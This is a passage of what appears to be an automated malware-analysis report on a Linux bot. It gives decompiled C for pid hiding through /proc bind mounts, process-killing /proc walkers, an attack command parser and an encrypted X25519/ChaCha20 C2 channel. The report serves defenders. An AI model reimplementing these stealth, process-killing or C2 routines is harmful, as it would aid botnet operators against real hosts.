    puVar5 = (undefined8 *)((long)(iVar2 % 8 + 0xe7) * 0x10 + DAT_0062e6f0);
    if (((undefined1 *)*puVar5 != (undefined1 *)0x0) &&
       (uVar3 = (ulong)*(uint *)(puVar5 + 1), *(uint *)(puVar5 + 1) - 1 < 0x3f)) {
      puVar6 = local_d9;
      puVar7 = (undefined1 *)*puVar5;
      puVar8 = puVar6;
/* … 40 more lines */
Full function, callers and assembly →
E25
decoded by the analysis·analysis output
out/L0/strtable/strings.json

slot classes for the analysed readers: masquerade names 0xe7-0xee and hiding/killer donor names 0x197-0x19f are short identifiers; 0x40c8fe paths 0x185 and 0x166, the registration's system files 0xde/0xdf (read by 0x4132d0) and the /proc prefix 0xce (0x41479d, 0x414879) are paths (scripts/slotclass.py prints class and length only)

B4

Hides its pid by bind-mounting another process's /proc directory over its own (root only)

T1564file Originalreachability reachable from the entry point
functions
0x41479d0x414879
Show the evidence · 2 items: E12, E25
E12
read from the file·function set

pid hiding: as root, walks numeric /proc entries for a donor process whose name matches store slots 0x197-0x19f and mount(src=/proc/<donor>, dst=/proc/<self>, flags 0x1000 MS_BIND) over its own proc dir

bind-mounts a donor /proc/<pid> over… · decompiled C, first 30 lines
ulong FUN_0041479d(undefined4 param_1,undefined4 param_2,undefined8 param_3)

{
  int iVar1;
  ulong uVar2;
  undefined1 local_c8 [80];
  undefined1 local_78 [80];
  
  local_78[0] = 0;
  local_c8[0] = 0;
  thunk_FUN_0040d152(local_c8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  iVar1 = thunk_FUN_0040cf7c(local_c8);
  FUN_00414505(param_1,local_c8 + iVar1,10);
  iVar1 = thunk_FUN_0040cf7c(local_78);
  FUN_00414505(param_2,local_78 + iVar1,10);
  FUN_0040d0a8(local_c8,param_3);
  FUN_0040d0a8(local_78,param_3);
  uVar2 = FUN_00414768(local_c8);
  if ((int)uVar2 != 0) {
    iVar1 = FUN_00417e93(local_c8,local_78,0,0x1000,0);
    uVar2 = (ulong)(iVar1 == 0);
  }
  return uVar2;
}

Full function, callers and assembly →
finds a donor process in /proc by store… · decompiled C, first 30 lines
undefined8 FUN_00414879(int param_1)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  undefined8 uVar4;
  long lVar5;
  ulong uVar6;
  long lVar7;
  long lVar8;
  char *pcVar9;
  int iVar10;
  undefined4 *puVar11;
  int local_10c;
  undefined1 local_108 [16];
  undefined1 local_f8 [64];
  undefined1 local_b8 [64];
  char local_78 [72];
  
  iVar2 = FUN_0041dc31();
  uVar4 = 0;
  if (((iVar2 == 0) && (uVar4 = 0xffffffff, DAT_0062e6f0 != 0)) &&
     (*(long *)(DAT_0062e6f0 + 0xce0) != 0)) {
    local_108[0] = 0;
    FUN_00414505(param_1,local_108,10);
    local_b8[0] = 0;
    thunk_FUN_0040d152(local_b8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d0a8(local_b8,local_108);
/* … 136 more lines */
Full function, callers and assembly →
E25
decoded by the analysis·analysis output
out/L0/strtable/strings.json

slot classes for the analysed readers: masquerade names 0xe7-0xee and hiding/killer donor names 0x197-0x19f are short identifiers; 0x40c8fe paths 0x185 and 0x166, the registration's system files 0xde/0xdf (read by 0x4132d0) and the /proc prefix 0xce (0x41479d, 0x414879) are paths (scripts/slotclass.py prints class and length only)

B5

Kills other processes found by walking /proc (killer workers) and its own tracked children on command

T1489file Originalreachability reachable from the entry pointnote match names are store identifiers
functions
0x415fc60x40cb5a0x41720d0x400cd7
Show the evidence · 3 items: E6, E19, E25
E6
read from the file·function

command parser: 4-byte duration, 1-byte vector id; id 0xff with zero duration kills tracked child pids (0x400cd7), 0xfe runs the self-update (0x40c42a); else a target count with 5-byte ip+prefix records and a length-prefixed option list, handed to 0x400d2b

parses an attack command · decompiled C, first 30 lines
void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */
Full function, callers and assembly →
kills every tracked child pid except… · decompiled C, first 30 lines
undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →
E19
read from the file·analysis output
out/L0/fn_syscalls.json

per-function syscall profile from capstone over every syscall site (out/L0/syscalls.json, 103 sites): process killer candidates 0x415fc6, 0x40cb5a, 0x41720d walk /proc (getdents64, readlink, kill); command exec 0x40d2bf (pipe, fork, execve, read back output); no import table - static musl-style libc in 0x4175f0-0x425000

/proc walker that kills matching… · decompiled C, first 30 lines
void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
/* … 49 more lines */
Full function, callers and assembly →
/proc walker with readlink and kill · decompiled C, first 30 lines
int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
/* … 169 more lines */
Full function, callers and assembly →
/proc walker with readlink · decompiled C, first 30 lines
void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
/* … 37 more lines */
Full function, callers and assembly →
E25
decoded by the analysis·analysis output
out/L0/strtable/strings.json

slot classes for the analysed readers: masquerade names 0xe7-0xee and hiding/killer donor names 0x197-0x19f are short identifiers; 0x40c8fe paths 0x185 and 0x166, the registration's system files 0xde/0xdf (read by 0x4132d0) and the /proc prefix 0xce (0x41479d, 0x414879) are paths (scripts/slotclass.py prints class and length only)

B6

C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)

T1095T1573.002T1071.004file Originalreachability reachable from the entry point
functions
0x4001d00x4131890x413aaa0x4141930x411a320x4113610x412ad80x4120100x411ca10x41215b0x4120f1
Show the evidence · 10 items: E1, E15, E16, E17, E18, E24, E29, E30, E31, E32
E1
read from the file·function

main (entry passes 0x4001f2 inside it to the libc start routine): ignores signals, chdir, decrypts the string store, rand init, single-instance lock, fork+setsid daemonise, closes stdio, process-name masquerade, then a select() loop that opens a non-blocking TCP socket to the resolved C2, sends a heartbeat every 6th idle round, and passes received bytes to the command parser 0x4138f6

main · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */
Full function, callers and assembly →
E15
read from the file·function set

framed C2 channel: 21-byte headers with big-endian length and sequence number, two session modes (flags 0x62e700/0x62e704) with key-exchange state; in the plain mode received bytes are XORed with byte 0xed (0x40d665 called with 0xdeaffed) before parsing

C2 session handshake state step · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411ca1(ulong param_1)

{
  char cVar1;
  int *piVar2;
  long lVar3;
  undefined4 local_f8;
  undefined4 uStack_f4;
  undefined4 uStack_f0;
  undefined4 uStack_ec;
  undefined4 local_e8;
  undefined4 uStack_e4;
  undefined4 uStack_e0;
  undefined4 uStack_dc;
  undefined1 local_d8 [32];
  undefined1 local_b8 [32];
  undefined4 local_98;
  undefined4 uStack_94;
  undefined4 uStack_90;
  undefined4 uStack_8c;
  undefined4 local_88;
  undefined4 uStack_84;
  undefined4 uStack_80;
  undefined4 uStack_7c;
  undefined4 local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
/* … 120 more lines */
Full function, callers and assembly →
receives and de-frames C2 messages in… · decompiled C, first 30 lines
int FUN_0041215b(undefined8 param_1,undefined8 param_2,ulong param_3,int *param_4)

{
  char cVar1;
  char cVar2;
  int iVar3;
  long lVar4;
  int *piVar5;
  ulong uVar6;
  ulong uVar7;
  undefined8 uVar8;
  ulong uVar9;
  
  if (DAT_0062e700 != '\x01') {
    return -1;
  }
  if ((param_4 != (int *)0x0) && (DAT_0062e7a8 < 0x800)) {
    lVar4 = FUN_0041b0ec(param_1,&DAT_0062e7aa + DAT_0062e7a8,0x800 - (ulong)DAT_0062e7a8,0x4040);
    if (lVar4 < 0) {
      piVar5 = (int *)FUN_00417c3c();
      if (*piVar5 == 0xb) {
LAB_004121d0:
        uVar9 = 0;
        while (uVar9 + 0x15 <= (ulong)DAT_0062e7a8) {
          uVar8 = 5;
          cVar1 = (&DAT_0062e7aa)[uVar9];
          if (DAT_0062e701 == '\0') {
            uVar8 = 2;
          }
/* … 46 more lines */
Full function, callers and assembly →
sends a framed C2 message in session… · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004120f1(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  undefined1 auStack_818 [2056];
  
  if (DAT_0062e701 == '\0') {
    iVar1 = FUN_00411f38(auStack_818,0x800,param_2,param_3,&DAT_0062e751);
  }
  else {
    iVar1 = FUN_004129d6();
  }
  if ((-1 < iVar1) && (iVar1 = FUN_0041174f(param_1,auStack_818,(long)iVar1), iVar1 == 0)) {
    _DAT_0062e798 = _DAT_0062e798 + 1;
    return 1;
  }
  return 0;
}

Full function, callers and assembly →
checks header type, length and sequence… · decompiled C, first 30 lines
ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
/* … 2 more lines */
Full function, callers and assembly →
E16
reported by a tool·function set

capa: Curve25519 (matches at 0x411361, 0x411a92, 0x412488, in functions 0x411361, 0x411a32, 0x412385) and HMAC (0x411824, 0x412677) in the C2 channel code range 0x410c5b-0x412700

derives the C2 peer X25519 public key… · decompiled C, first 30 lines
void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Full function, callers and assembly →
C2 session hello · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
/* … 86 more lines */
Full function, callers and assembly →
unknown · decompiled C, first 30 lines
void unknown(void)

{
  undefined *puVar1;
  undefined **ppuVar2;
  ulong uVar3;
  byte bVar4;
  char cVar5;
  long lVar6;
  long lVar7;
  byte bVar8;
  undefined **ppuVar9;
  uint local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  uint uStack_5c;
  uint local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  uint uStack_3c;
  byte local_38 [32];
/* … 60 more lines */
Full function, callers and assembly →
unknown · decompiled C, first 30 lines
undefined8
unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,ulong param_4,long param_5)

{
  long lVar1;
  ulong uVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  byte bVar5;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  undefined4 local_228;
  undefined4 uStack_224;
  undefined4 uStack_220;
  undefined4 uStack_21c;
  byte local_218 [64];
  byte local_1d8 [64];
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188;
  undefined4 uStack_184;
  undefined4 uStack_180;
  undefined4 uStack_17c;
  undefined4 local_178 [8];
  undefined4 local_158 [16];
/* … 65 more lines */
Full function, callers and assembly →
unknown · decompiled C, first 30 lines
void unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,long param_4,
                 undefined8 *param_5)

{
  ulong uVar1;
  long lVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  undefined4 *puVar5;
  byte bVar6;
  undefined4 local_248;
  undefined4 uStack_244;
  undefined4 uStack_240;
  undefined4 uStack_23c;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  byte local_228 [64];
  byte local_1e8 [64];
  undefined4 local_1a8;
  undefined4 uStack_1a4;
  undefined4 uStack_1a0;
  undefined4 uStack_19c;
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188 [8];
/* … 68 more lines */
Full function, callers and assembly →
E17
read from the file·function

C2 resolver: dotted-quad parse, else getaddrinfo, else own DNS queries to an 18-entry resolver table at 0x428860

resolves the C2 name · decompiled C, first 30 lines
char * FUN_00414193(char *param_1)

{
  undefined4 *puVar1;
  uint uVar2;
  long lVar3;
  char cVar4;
  int iVar5;
  undefined4 uVar6;
  char *pcVar7;
  long lVar8;
  long lVar9;
  uint local_6c;
  uint local_68;
  uint local_64;
  uint local_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined8 local_54;
  
  if (((param_1 == (char *)0x0) || (*param_1 == '\0')) ||
     (pcVar7 = (char *)FUN_00417f10(1,0x10), pcVar7 == (char *)0x0)) {
    return (char *)0x0;
  }
  iVar5 = FUN_0041c853(param_1,"%u.%u.%u.%u",&local_6c,&local_68,&local_64,&local_60);
  if (((iVar5 == 4) && (local_6c < 0x100)) &&
     ((local_68 < 0x100 && ((local_64 < 0x100 && (local_60 < 0x100)))))) {
    local_58 = FUN_00419b08(local_6c << 0x18 | local_68 << 0x10 | local_64 << 8 | local_60);
  }
/* … 56 more lines */
Full function, callers and assembly →
E18
read from the file·analysis output
out/L0/resolver_table.json

the 18 resolver addresses at VA 0x428860 (file offset 0x28860), 18 distinct

E24
decoded by the analysis·analysis output
out/L0/store_hosts.json

the 24 hostname-class store entries with slot ids: slots 0x0-0x7 share one source string, slots 0x8-0x10 and 0x13f-0x143 are further hosts, slot 0x113 is the host the self-update routine 0x40c42a reads (store offset 0x1130)

E29
read from the file·function set

C2 selection: 0x413189 walks store slots 0-7 as a ring from index 0x62efd8, resolves each non-empty one through 0x4143a1 and collects up to 32 addresses at 0x62efe8; 0x413aaa takes a random entry of a 14-entry u16 port table at 0x4287e0 and htons it

selects the C2 host from store slots… · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00413189(char param_1)

{
  char *pcVar1;
  byte bVar2;
  int iVar3;
  byte *pbVar4;
  uint uVar5;
  int iVar6;
  uint uVar7;
  long lVar8;
  long lVar9;
  
  _DAT_0062efe0 = 0;
  DAT_0062efe2 = 0;
  DAT_0062efe4 = 0;
  bVar2 = DAT_0062efd8;
  if (param_1 != '\0') {
    iVar6 = 1;
    do {
      pcVar1 = *(char **)(DAT_0062e6f0 + (ulong)((uint)DAT_0062efd8 + iVar6 & 7) * 0x10);
      if ((pcVar1 != (char *)0x0) &&
         (bVar2 = (byte)((uint)DAT_0062efd8 + iVar6) & 7, *pcVar1 != '\0')) break;
      iVar6 = iVar6 + 1;
      bVar2 = DAT_0062efd8;
    } while (iVar6 != 9);
  }
/* … 38 more lines */
Full function, callers and assembly →
picks a random C2 port from the… · decompiled C, first 30 lines
void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Full function, callers and assembly →
E30
read from the file·address range
0x4287e0

14 non-zero distinct u16 C2 ports (host order; values in out/L0/port_table.json)

picks a random C2 port from the… · decompiled C, first 30 lines
void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Full function, callers and assembly →
E31
read from the file·function set

C2 session handshake (called from the registration 0x4132d0): random 32-byte X25519 ephemeral key clamped (&0xf8, &0x7f|0x40) and its public key via 0x411056; the peer public key is derived by 0x411361 from 32 embedded bytes (0x4122e0) hashed by 0x411241 and clamped; shared secret 0x410c5b; key expansion 0x4113bd with an 11-byte store label (slot 0x196); the hello frame is type byte, 32-byte ephemeral public key, 12-byte zero nonce, then the registration payload encrypted by 0x41159e; sets session flag 0x62e704

builds the registration record with… · decompiled C, first 30 lines
void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
/* … 191 more lines */
Full function, callers and assembly →
derives the C2 peer X25519 public key… · decompiled C, first 30 lines
void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Full function, callers and assembly →
C2 session hello · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
/* … 86 more lines */
Full function, callers and assembly →
E32
read from the file·function set

session frame receive: header byte must match 0x4122c9(5) (or (2) in the other mode), big-endian u16 length, u16 sequence equal to the expected counter; 0x412ad8 derives a MAC key with a 6-byte label at 0x4287cc, checks a 16-byte tag with 0x412677, then decrypts with the ChaCha20 routine 0x40d6c6 and increments the counter

chaCha20 stream cipher, used for the… · decompiled C, first 30 lines
void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
/* … 73 more lines */
Full function, callers and assembly →
checks header type, length and sequence… · decompiled C, first 30 lines
ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
/* … 2 more lines */
Full function, callers and assembly →
verifies a received session frame · decompiled C, first 30 lines
ulong FUN_00412ad8(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  ushort uVar2;
  char cVar3;
  ushort uVar4;
  int iVar5;
  ulong uVar6;
  undefined1 local_74 [12];
  undefined1 local_68 [16];
  undefined1 local_58 [40];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar3 = FUN_004122c9(5), cVar1 == cVar3)) {
    uVar2 = *(ushort *)(param_3 + 3);
    uVar4 = CONCAT11((char)*(undefined2 *)(param_3 + 1),
                     (char)((ushort)*(undefined2 *)(param_3 + 1) >> 8));
    uVar6 = (ulong)uVar4;
    if (((*param_6 == (ulong)uVar2) && (uVar6 + 0x15 <= param_4)) && (uVar6 <= param_2)) {
      thunk_FUN_004113bd(param_5,0x20,&DAT_004287cc,6,local_58,0x20);
      unknown(local_58,0x20,param_3,uVar6 + 5);
      iVar5 = FUN_004124f0(local_68,param_3 + uVar6 + 5,0x10);
      if (iVar5 != 0) {
        FUN_0041266c(local_74,(ulong)uVar2,local_74,param_3 + 5,param_1);
        FUN_0040d6c6(param_5,1);
        *param_6 = *param_6 + 1;
        return (ulong)uVar4;
/* … 6 more lines */
Full function, callers and assembly →
B7

Registers with system information: CPU count, memory size, uname, euid, local address

T1082T1016file Originalreachability reachable from the entry point
functions
0x4132d00x40d3e8
Show the evidence · 2 items: E10, E14
E10
read from the file·function

local-address discovery: UDP socket connect to a public resolver address on port 53 then getsockname

local address via UDP connect to a… · decompiled C, first 30 lines
undefined4 FUN_0040d3e8(void)

{
  int iVar1;
  undefined4 *puVar2;
  undefined4 local_2c;
  undefined2 local_28;
  undefined2 local_26;
  undefined4 local_24;
  
  local_2c = 0x10;
  puVar2 = (undefined4 *)FUN_00417c3c();
  *puVar2 = 0;
  iVar1 = FUN_0041bc03(2,2,0);
  local_24 = 0;
  if (iVar1 != -1) {
    local_28 = 2;
    local_24 = FUN_00419b08(0x8080808);
    local_26 = FUN_00419b0d(0x35);
    FUN_00419689(iVar1,&local_28,0x10);
    FUN_00419ac9(iVar1,&local_28,&local_2c);
    FUN_0041db41(iVar1);
  }
  return local_24;
}

Full function, callers and assembly →
E14
read from the file·function

C2 registration after connect: collects CPU count (store-named proc file, sysconf 0x54 fallback), memory size (sysconf 0x55 x 0x1e), uname, euid and rlimits and sends them with the bot id string

builds the registration record with… · decompiled C, first 30 lines
void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
/* … 191 more lines */
Full function, callers and assembly →
B8

